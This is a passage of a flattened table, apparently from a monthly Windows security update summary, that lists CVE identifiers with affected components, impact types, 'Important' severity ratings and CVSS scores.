Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure 